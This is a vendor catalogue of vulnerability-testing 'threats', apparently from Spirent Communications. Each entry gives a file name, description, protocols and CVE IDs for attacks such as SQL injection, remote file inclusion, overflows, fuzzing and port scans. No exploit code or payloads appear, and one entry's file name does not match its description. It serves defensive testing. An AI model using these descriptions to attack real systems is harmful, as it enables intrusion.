

Spirent Communications Threats List

The research staff at Spirent Communications continuously monitors Internet security, investigating and cloning any new threat as soon as it hits. We handle the complexity of identifying, isolating, analyzing, reverse engineering, and deploying new attacks, making them available to our customers as soon as they surface for immediate vulnerability testing.

Total Number of Threats: 9241

Threat File Name:	TSL20120814-09_Microsoft_Windows_Common_Controls_MSCOMCTL_OCX_Remote_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows Common Controls MSCOMCTL.OCX Remote Code Execution(IPv6)
Detailed Description:	A remote code execution vulnerability exists in Microsoft Windows Common Controls. The vulnerability is due to insufficient validation by the ActiveX control MSCOMCTL.TabStrip.This vulnerability can be exploited by remote, unauthenticated attackers by enticing a user to open a malicious document. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-1856
OSVDB:	84593
Threat File Name:	TSL20170531-01_OpenLDAP_ldapsearch_pagesize_Double_Free_Denial_of_Service.xml
Executive Description:	OpenLDAP ldapsearch pagesize Double Free Denial of Service
Detailed Description:	A double free vulnerability has been reported in the ldapsearch function of OpenLDAP. The vulnerability is due to improper handling of ldapsearch queries with a pagesize of 0. A remote attacker can exploit this vulnerability by sending a crafted query to the target OpenLDAP server. Successful exploitation could lead to the OpenLDAP server process terminating abnormally.
Protocol Type:	LDAP,LDAPS
CVEID:	CVE-2017-9287
Threat File Name:	TSL20170303-05_Microsoft_Graphics_Device_Interface_CVE-2017-0038_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Graphics Device Interface CVE-2017-0038 Information Disclosure (IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in the GDI+ component of Microsoft Windows. The vulnerability is due to a failure in handling device independent bitmaps (DIB) embedded in EMF records. A remote attacker could exploit this vulnerability by enticing a user to open a maliciously crafted file. Successful exploitation could result in the disclosure of information that can be used to circumvent Address Space Layout Randomization (ASLR) in Windows.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,IPv6
CVEID:	CVE-2017-0038
Threat File Name:	fuzz-HTTP-HEAD_PrepndHTTPWithformatn_IPv6.xml
Executive Description:	Fuzz HTTP HEAD with Request-URI prepended with %n (IPv6 Version)
Detailed Description:	Fuzzes the Request-URI field by prepending %n (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	icblogger_sqli_IPv6.xml
Executive Description:	ICBlogger Devam.ASP SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP get request that contains malicious SQL commands to the affected server allowing for an attacker to steal or alter user credentials. ICBlogger is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20100512-04_HP_OpenView_NNM_getnnmdata_exe_CGI_MaxAge_Parameter_Buffer_Overflow_IPv6.xml
Executive Description:	HP OpenView NNM getnnmdata.exe CGI MaxAge Parameter Buffer Overflow(IPV6 Version)
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to a boundary error in getnnmdata.exe when processing the MaxAge parameter sent in a crafted HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the getnnmdata.exe process. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the intention of the malicious code.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2010-1553
Threat File Name:	TSL20170531-01_OpenLDAP_ldapsearch_pagesize_Double_Free_Denial_of_Service_IPv6.xml
Executive Description:	OpenLDAP ldapsearch pagesize Double Free Denial of Service (IPv6 Version)
Detailed Description:	A double free vulnerability has been reported in the ldapsearch function of OpenLDAP. The vulnerability is due to improper handling of ldapsearch queries with a pagesize of 0. A remote attacker can exploit this vulnerability by sending a crafted query to the target OpenLDAP server. Successful exploitation could lead to the OpenLDAP server process terminating abnormally.
Protocol Type:	LDAP,LDAPS,IPv6
CVEID:	CVE-2017-9287
Threat File Name:	FSC20040408-01_Mcafee_FreeScan_Information_Disclosure.xml
Executive Description:	Mcafee FreeScan Information Disclosure
Detailed Description:	Two vulnerabilities exist in a component of the McAfee's FreeScan service. An information disclosure vulnerability exists that may allow remote attackers to gain file-system information and can be used to obtain the user-name being used. A second vulnerability allows attackers to cause applications executing VBScript or Javascript to terminate. Only systems that have used McAfee's online virus scanning tool FreeScan are susceptible to attack.
Protocol Type:	HTTP
CVEID:	CVE-2004-1908
Threat Package:	Standard
Threat File Name:	FSC20100810-07_Microsoft_Internet_Explorer_Uninitialized_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Uninitialized Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due an error when handling DOM objects that have not been initialized or have been deleted. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2010-2557
Threat Package:	Standard

Threat File Name:	sphider_rfi_IPv6.xml
Executive Description:	Sphider Index.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a standard remote script file inclusion flaw, this threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20100507-04_Apple_Safari_parent_close_Code_Execution_IPv6.xml
Executive Description:	Apple Safari parent.close Code Execution (IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Apple Safari. The vulnerability is due to an error while handling the termination and subsequent referencing between child and parent windows. Remote attackers can exploit this vulnerability to execute arbitrary code on the target machine by enticing a user into opening a specially crafted HTML document. Note that popup windows must be enabled in order to successfully exploit this vulnerability. In attack scenarios where code execution is successful the behaviour of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/HTTPS/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120814-01_Adobe_Acrobat_and_Reader_U3D_Texture_Parsing_Buffer_Overflow.xml
Executive Description:	Adobe Acrobat and Reader U3D Texture Parsing Buffer Overflow
Detailed Description:	A stack based buffer overflow vulnerability exists in Adobe Acrobat Reader and Acrobat Professional products that can allow arbitrary code execution. Remote attackers can exploit this vulnerability by enticing affected users to open a malicious PDF document using a vulnerable version of the product. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. In an attack case where code injection is not successful, the affected Adobe application parsing the malicious PDF document can terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2012-2049
Threat File Name:	webspell_sqli_IPv6.xml
Executive Description:	webSPELL 4.01.02 (gallery.php) Remote Blind SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. webSPELL is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5388
Threat Package:	Standard
Threat File Name:	ICMPsourceQuench.xml
Executive Description:	ICMP Source Quench Denial of Service
Detailed Description:	This exploit sends spoofed ICMP Quench Packets from known, user specified gateways on the hosts routing table. ICMP quench packets are informational messages sent to hosts by gateway devices as the result of network issues, system resources running low, or an ongoing DoS attack in order to advise the host to limit the packet load and/or find alternate sources. The result of this exploit will slow the network traffic.
Protocol Type:	ICMP
CVEID:	CVE-2005-0068
OSVDB:	15623
Threat Package:	Standard
Threat File Name:	lunarpoll_rfi_IPv6.xml
Executive Description:	LunarPoll 1.0 (show.php PollDir) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. LunarPoll is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170612-11_Schneider_Electric_U.motion_Builder_localize.php_SQL_Injection.xml
Executive Description:	Schneider Electric U.motion Builder localize.php SQL Injection
Detailed Description:	An SQL injection vulnerability has been reported in Schneider Electric U.motion Builder. The vulnerability is due to insufficient validation of the username HTTP request parameter in requests made to localize.php. A remote, unauthenticated user can exploit this vulnerability by sending a crafted HTTP request to the affected page. Successful exploitation could result in the execution of arbitrary code execution on the target server.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-7973
Threat File Name:	TSL20140909-02_ManageEngine_Desktop_Central_StatusUpdate_Arbitrary_File_Upload_IPv6.xml
Executive Description:	ManageEngine Desktop Central StatusUpdate Arbitrary File Upload IPv6 version.
Detailed Description:	An arbitrary file upload vulnerability exists in ManageEngine Desktop Central. The vulnerability is due to lack of authentication and insufficient input validation of the parameters sent to the StatusUpdate page when processing HTTP requests. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations. Tester should set variable \$destPort to 8020 or 8383 before test.
Protocol Type:	HTTP/HTTPS,IPv6
CVEID:	CVE-2014-5005
OSVDB:	110643
Threat File Name:	TSL20150903-02_Novell_ZENworks_Mobile_Management_Cross-Site_Scripting_IPv6.xml
Executive Description:	Novell ZENworks Mobile Management Cross-Site Scripting (IPv6 Version)
Detailed Description:	A cross-site scripting vulnerability has been reported in Novell ZENworks Mobile Management. The vulnerability is due to insufficient validation of output before it is returned to the user. >A remote attacker can exploit this vulnerability by enticing a user to click on a maliciously crafted link. This can lead to arbitrary script code execution in the context of the affected user.
Protocol Type:	HTTP, HTTPS, IPv6

Threat File Name:	FSC20090512-15_Microsoft_Office_PowerPoint_Legacy_File_Format_Master_Page_Buffer_Overflow.xml
Executive Description:	Microsoft Office PowerPoint Legacy File Format Master Page Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office PowerPoint. The flaw is due to a boundary error when processing crafted PowerPoint (PPT) documents. An attacker could exploit this vulnerability by persuading the target user to open a specially crafted PowerPoint document. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally, potentially resulting in loss of unsaved data.
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-1137
Threat Package:	Standard
Threat File Name:	TSL20170711-01_Kaspersky_Anti-Virus_for_Linux_File_Server_getReportStatus_Directory_Traversal.xml
Executive Description:	Kaspersky Anti-Virus for Linux File Server getReportStatus Directory Traversal
Detailed Description:	A directory traversal vulnerability has been reported in Kaspersky Anti-Virus for Linux File Server. The vulnerability is due to a lack of proper validation of a user-supplied path when a request is sent to check the status of a report. A remote, authenticated attacker can exploit this vulnerability by sending a crafted request to the target system. Successful exploitation results in the disclosure of the contents of arbitrary files from the target system.
Protocol Type:	HTTP
CVEID:	CVE-2017-9812
Threat File Name:	FSC20070612-14_Microsoft_Internet_Explorer_CSS_Tag_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CSS Tag Handling Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in certain versions of Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles certain HTML tags containing a specially crafted CSS style attribute. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation would corrupt memory and may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-1750
Threat Package:	Standard
Threat File Name:	FSC20060705-08_Microsoft_Windows_Explorer_Invalid_URL_File_Parsing_Stack_Overflow.xml
Executive Description:	Microsoft Windows Explorer Invalid URL File Parsing Stack Overflow
Detailed Description:	There exists a stack exhaustion vulnerability in Microsoft Windows Explorer. The flaw is caused by the improper parsing of URL strings contained within a .url file. An attacker can exploit this vulnerability by enticing a user to open a crafted .url file, resulting in abnormal termination of the affected program.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	xoops_cmi.xml
Executive Description:	XOOPS Arbitrary Script Inclusion
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing a path to a script or file that can be included. XOOPS is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3680
OSVDB:	20853
Threat Package:	Standard
Threat File Name:	TSL20170711-01_Kaspersky_Anti-Virus_for_Linux_File_Server_getReportStatus_Directory_Traversal_IPv6.xml
Executive Description:	Kaspersky Anti-Virus for Linux File Server getReportStatus Directory Traversal (IPv6 Version)
Detailed Description:	A directory traversal vulnerability has been reported in Kaspersky Anti-Virus for Linux File Server. The vulnerability is due to a lack of proper validation of a user-supplied path when a request is sent to check the status of a report. A remote, authenticated attacker can exploit this vulnerability by sending a crafted request to the target system. Successful exploitation results in the disclosure of the contents of arbitrary files from the target system.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2017-9812
Threat File Name:	runcms_newtopic_IPv6.xml
Executive Description:	RunCMS SQL Injection (IPv6 Version)
Detailed Description:	This threat runs a SQL injection attack against the RunCMS web application. This allows a remote user to alter the database and run code in the context of the database user. RunCMS is a web application, and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2692
OSVDB:	18909
Threat Package:	Standard
Threat File Name:	FSC20060316-13_Atrium_Mercur_IMAP_Remote_Buffer_Overflow.xml
Executive Description:	Atrium Mercur IMAP Remote Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been identified in the Atrium Mercur IMAP service component. The application contains a flaw in its command processing code resulting from insufficient bounds checks. This vulnerability may be exploited by malicious authenticated users to compromise a target host.
Protocol Type:	IMAP
CVEID:	CVE-2006-1255
Threat Package:	Standard
Threat File Name:	TSL20110614-30_Adobe_Flash_Player_ActionScript_Function_Variable_Arguments_Information_Disclosure.xml
Executive Description:	Novell GroupWise Internet Agent HTTP Interface Stack Buffer Overflow(IPv6 Version)

Detailed Description:	A remote code execution vulnerability exists in Novell GroupWise Internet Agent (GWIA) HTTP interface (port 9850/tcp). The vulnerability is due to a boundary error when parsing overly long HTTP requests to certain .css resources. An unauthenticated remote attacker could exploit this vulnerability to execute arbitrary code on targeted vulnerable installations of GWIA under the context of the SYSTEM user.
Protocol Type:	IPV6,HTTP, over port 9850/TCP
CVEID:	CVE-2011-0334
Threat File Name:	fuzz-IP_FragmentOffset_IPv6.xml
Executive Description:	Fuzzer for Protocol:IP and Field:FragmentOffset (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	IP/IPv6
Threat Package:	Fuzzing
Threat File Name:	x86NOOPtcp8.xml
Executive Description:	TCP x86 NOOP Packet Variant 7
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP siled in it. A NOOP siled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	udp_localhost.xml
Executive Description:	UDP Packet From localhost
Detailed Description:	This threat sends a packet with a payload of 23 'A''s from localhost. The user can specify the source and destination ports, as well as the destination IP. This attack has caused older IP stacks to fail.
Protocol Type:	UDP
Threat Package:	Standard
Threat File Name:	FSC20060508-08_Sophos Anti-Virus_CAB_File_Invalid_Folder_Count_Heap_Overflow_IPv6.xml
Executive Description:	Sophos Anti-Virus CAB File Invalid Folder Count Heap Overflow (IPv6 Version)
Detailed Description:	There exists a heap overflow vulnerability in Sophos Anti-Virus as well as many other Sophos products that embed it. The vulnerability exists in the component that handles Microsoft CAB compressed files. A remote unauthenticated attacker can exploit the vulnerability causing a denial of service condition or the execution of arbitrary code within the security context of the Anti-Virus service, normally System. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0994
Threat Package:	Standard
Threat File Name:	FSC20070417-19_McAfee_VirusScan-On-Access_Scanner_Long_Unicode_Filename_Handling_Buffer_Overflow.xml
Executive Description:	McAfee VirusScan On-Access Scanner Long Unicode Filename Handling Buffer Overflow
Detailed Description:	There exists a heap buffer overflow vulnerability in McAfee VirusScan. The flaw is due to a boundary error when processing overly long file names that contain Unicode characters. A remote attacker can exploit this vulnerability by placing a file with a specially crafted name on the target system and enticing the user to access the file. Successful exploitation may allow arbitrary code execution in the security context of System.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20140207-01_Poster_Software_PUBLISH-iT_PUI_File_Processing_Buffer_Overflow_IPv6.xml
Executive Description:	Poster Software PUBLISH-iT PUI File Processing Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in Poster Software PUBLISH-iT. The vulnerability is due to insufficient validation on the length of entry names in a "styl" record when processing PUI files. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to open a malicious PUI file. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2014-0980
OSVDB:	102911
Threat File Name:	FSC20060711-08_Microsoft_ASP.NET_Application_Folder_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft ASP.NET Application Folder Information Disclosure (IPv6 Version)
Detailed Description:	An information disclosure vulnerability has been identified in Microsoft ASP.NET product. The flaw is caused by an improper checking of the user supplied URLs. An attacker may exploit this vulnerability to access any object in the ASP.NET Application folder. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1300
Threat Package:	Standard
Threat File Name:	FSC20110121-04_Microsoft_Windows_Fax_Services_Cover_Page_Editor_Double_Free_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Windows Fax Services Cover Page Editor Double Free Memory Corruption(IPv6 Version)
Detailed Description:	A double free memory corruption vulnerability exists in Microsoft Windows Fax Services. The vulnerability is due to improper handling of Text objects while parsing Microsoft Fax cover page files. Remote attackers could exploit this vulnerability by enticing the target user to open a specially crafted Fax cover page file. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged in user. An unsuccessful attempt will terminate the affected application abnormally.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
Threat File Name:	nctwavchunkseditor_activex_overwrite_IPv6.xml
Executive Description:	NCTAudioStudio2 ActiveX DLL (NCTWavChunksEditor2.dll v. 2.6.1.148) "CreateFile()"Insecure Method (IPv6 Version)

Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the NCTAudioStudio2 ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0018
OSVDB:	32032
Threat Package:	Standard
Threat File Name:	TSL20170201-06_MailStore_Server_search-result_Reflected_Cross-Site_Scripting.xml
Executive Description:	MailStore Server search-result Reflected Cross-Site Scripting
Detailed Description:	A reflected cross-site scripting vulnerability has been reported in MailStore Server. The vulnerability is due to insufficient input validation on user input for search results. A remote user can exploit this vulnerability by enticing an authenticated user to click on a malicious link. Successful exploitation results in the execution of arbitrary script code in the target user's web browser.
Protocol Type:	HTTP, HTTPS
Threat File Name:	TSL20140314-08_Lighttpd_Host_Header_mod_simple_vhost_Directory_Traversal_IPv6.xml
Executive Description:	Lighttpd Host Header mod_simple_vhost Directory Traversal(IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in Lighttpd Web Server. The vulnerability is due to insufficient sanitization of user supplied input in the <italic>Host</italic> header field of a request. When the <italic>mod_simple_vhost</italic> module is enabled, the <italic>Host</italic> header field data can be used to cause directory traversal. A remote unauthenticated attacker could exploit this vulnerability by placing specially crafted data in the Host header field of a request. Successful exploitation could allow an attacker to download sensitive files.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2014-2324
OSVDB:	104382
Threat File Name:	sippiggybacksip.xml
Executive Description:	SIPPING: Piggybacked SIP Message
Detailed Description:	This threat sends out a SIP REGISTER message with a content length of 0, immediately followed by a SIP INVITE message. This is legal, and the INVITE message should be ignored. Implementations may get confused by an additional legal message where data should be ignored, and may behave unpredictably.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	TSL20170314-37_Microsoft_Edge_CVE-2017-0070_Getter_Use_After_Free.xml
Executive Description:	Microsoft Edge CVE-2017-0070 Getter Use After Free
Detailed Description:	A use-after-free vulnerability exists in Microsoft Edge. This vulnerability is due to an error while handling objects in memory when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-0070
Threat File Name:	fuzz-HTTP_ReplicateMInHTML_IPv6.xml
Executive Description:	Fuzz HTTP Request-URI with index.htmmmmmml (IPv6 Version)
Detailed Description:	Fuzzes the Request-URI field by replicating the letter m in index.html between 0 and 1024 times. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20170111-05_PHP zend_hash_destroy_Uninitialized_Pointer_Code_Execution.xml
Executive Description:	PHP zend_hash_destroy Uninitialized Pointer Code Execution
Detailed Description:	Access of uninitialized pointer vulnerability has been reported in PHP. The vulnerability is due to the use of uninitialized memory when the unserialize PHP function is called. A remote attacker can exploit this vulnerability by sending crafted serialized data to an affected PHP application. Successful exploitation could result in arbitrary code execution under the context of the target application.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2017-5340
Threat File Name:	FSC20081205-03_Cerulean_Studios_Trillian_Image_Filename_XML_Tag_Stack_Buffer_Overflow.xml
Executive Description:	Cerulean Studios Trillian Image Filename XML Tag Stack Buffer Overflow
Detailed Description:	There exists a stack buffer overflow vulnerability in Trillian instant messenger client application. The vulnerability is due to a boundary error when processing images in the received messages. This could be exploited by remote attackers by sending a malicious message to the target AIM screen name. Successful exploitation can lead to arbitrary code execution within the security context of the currently logged on user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, affected product will terminate abnormally.
Protocol Type:	OSCAR
CVEID:	CVE-2008-5401
Threat Package:	Standard
Threat File Name:	TSL20161212-02_OpenSSH_sshd_auth_passwd_Denial_of_Service_IPv6.xml
Executive Description:	OpenSSH sshd auth_passwd Denial of Service (IPv6 Version)
Detailed Description:	A denial of service vulnerability has been discovered in OpenSSH. The vulnerability is due to not limiting the password length during authentication of users in the auth_passwd module. A remote, unauthenticated attacker could exploit this vulnerability by supplying a specially crafted password as input while authenticating via ssh. Successful exploitation of this vulnerability could result in overloading the server process causing denial of service.
Protocol Type:	SSH, IPv6
CVEID:	CVE-2016-6515
Threat File Name:	PortScanXMAS_IPv6.xml
Executive Description:	Portscan: XMAS (IPv6 Version)
Detailed Description:	This threat mimics the behavior of nmap's Xmas Tree portscan. An Xmas Tree scan sends a TCP packet with the FIN, URG, and PUSH flags set. A closed port will respond with a RST whereas an open port will not respond. (IPv6 Version)

Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	sipunknowncontent_IPv6.xml
Executive Description:	SIPPING: Unknown Content Type (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE with an unknown content type and data. Because this is unexpected it may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20101029-08_Adobe_Shockwave_Player_Lnam_Chunk_Processing_Buffer_Overflow.xml
Executive Description:	Adobe Shockwave Player Lnam Chunk Processing Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Adobe Shockwave Player. The vulnerability is due to a stack buffer overflow when processing maliciously crafted DIR files containing Lnam Chunks. A remote attacker can exploit this vulnerability by enticing a target user to visit a maliciously crafted web site. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged on user. An unsuccessful exploit attempt may terminate the affected application abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-3655
Threat File Name:	TSL20160712-25_Adobe_Flash_Selection.setFocus_Use_After_Free.xml
Executive Description:	Adobe Flash Selection.setFocus Use After Free
Detailed Description:	A use after free vulnerability has been reported in an Adobe Flash Player. The vulnerability is due to a use of static Selection.setFocus method with a "this" object. A remote attacker could exploit this vulnerability by enticing a user into opening a malicious SWF file. Successful exploitation could lead to arbitrary code execution under the security context of the user process.
Protocol Type:	HTTP
CVEID:	CVE-2016-4227
Threat File Name:	ispconfig.xml
Executive Description:	ISPConfig 2.2.2 (session.inc.php) Remote File Inclusion Exploit
Detailed Description:	This threat sends a crafted HTTP GET query which includes an arbitrary remote PHP file via the classes_root parameter. IRPConfig is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2315
OSVDB:	25355
Threat Package:	Standard
Threat File Name:	FSC20081010-05_Apple_CUPS_Text-to-PostScript_texttops_Filter_Integer_Overflow.xml
Executive Description:	Apple CUPS Text-to-PostScript texttops Filter Integer Overflow
Detailed Description:	There exists a integer overflow vulnerability in Apple's Common Unix Printing System (CUPS) distributed by multiple vendors. The vulnerability is due to a boundary error in the texttops application when calculating the page size used for storing PostScript data. A remote attacker can exploit this vulnerability to compromise a vulnerable system. In an attack case where code injection is not successful, the affected application will terminate abnormally. In a more sophisticated attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected service, with the privileges of the printer user, normally lp.
Protocol Type:	IPP
CVEID:	CVE-2008-3640
Threat Package:	Standard
Threat File Name:	TSL20130715-07_Trimble_Navigation_SketchUp_BMP_File_Buffer_Overflow.xml
Executive Description:	Trimble Navigation SketchUp BMP File Buffer Overflow
Detailed Description:	A remote code execution vulnerability exists in Trimble Navigation's Sketchup. The vulnerability is due to a heap buffer overflow while processing BMP files which contain malicious RLE data. Remote unauthenticated attackers can exploit this vulnerability by enticing a target user to open a malicious BMP file. Successful exploitation could result in arbitrary code execution with the privileges of the logged in user. If exploitation is not successful, the application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2013-3664
Threat File Name:	TSL20131024-06_Oracle_Outside_In_OS_2_Metapfile_Parser_Denial_of_Service_IPv6.xml
Executive Description:	Oracle Outside In OS 2 Metapfile Parser Denial of Service(IPv6 Version)
Detailed Description:	A denial of service vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability is due to an error while processing OS/2 Metapfiles. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable libraries to handle a malformed file. Depending on the application, user interaction may be required. Successful exploitation can result in a denial of service condition of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,IPV6
Threat File Name:	4dwebstar.xml
Executive Description:	4DWebSTAR Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in the 4DWebSTAR Tomcat Plugin service. This service is part of a webserver, which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-1507
OSVDB:	16154
Threat Package:	Standard
Threat File Name:	FSC20080728-16_Trend_Micro_OfficeScan_objRemoveCtrl_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	Trend Micro OfficeScan objRemoveCtrl ActiveX Control Buffer Overflow

Detailed Description:	A buffer overflow vulnerability exists in Trend Micro OfficeScan application. The vulnerability is due to insufficient boundary checking of the user-supplied data to the vulnerable ActiveX control, objRemoveCtrl. A remote attacker may exploit this vulnerability by enticing a target user to visit a malicious web page. Successful exploitation might lead to injection and execution of arbitrary code in the security context of the currently logged in user. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, application using the affected object will terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-3364
Threat Package:	Standard
Threat File Name:	fullaspsite_asp_sqli.xml
Executive Description:	Fullaspsite Asp Hosting SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Fullaspsite ASP Hosting is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20150616-03_WebUI_mainfile_php_Arbitrary_Command_Injection.xml
Executive Description:	WebUI mainfile.php Arbitrary Command Injection
Detailed Description:	An arbitrary command injection vulnerability exists in WebUI. The vulnerability is due to insufficient validation of multiple parameters in "mainfile.php" when handling HTTP requests. A remote, authenticated attacker can exploit this vulnerability by sending maliciously crafted input to the affected server. This can result in arbitrary command execution with the privileges of the web server process.
Protocol Type:	HTTP/HTTPS
OSVDB:	121619
Threat File Name:	bitcomet_bof.xml
Executive Description:	BitComet Client .torrent URI Handling Overflow
Detailed Description:	This threat downloads a malicious bittorrent file which exploits a URI handling flaw in the BitComet BitTorrent client. This threat is download via HTTP which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0339
OSVDB:	22625
Threat File Name:	TSL20170209-03_PHP_phar_parse_pharfile_Function_filename_len_Property_Integer_Overflow_IPv6.xml
Executive Description:	PHP phar_parse_pharfile Function filename_len Property Integer Overflow (IPv6 Version)
Detailed Description:	An integer overflow vulnerability, which leads to a buffer over read, has been reported in PHP. The vulnerability is due to incorrect handling of phar files by the phar_parse_pharfile() function. A remote attacker can exploit this vulnerability by providing a crafted .phar file to a vulnerable application. Successful exploitation could lead to denial of service of the affected system.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2016-10159
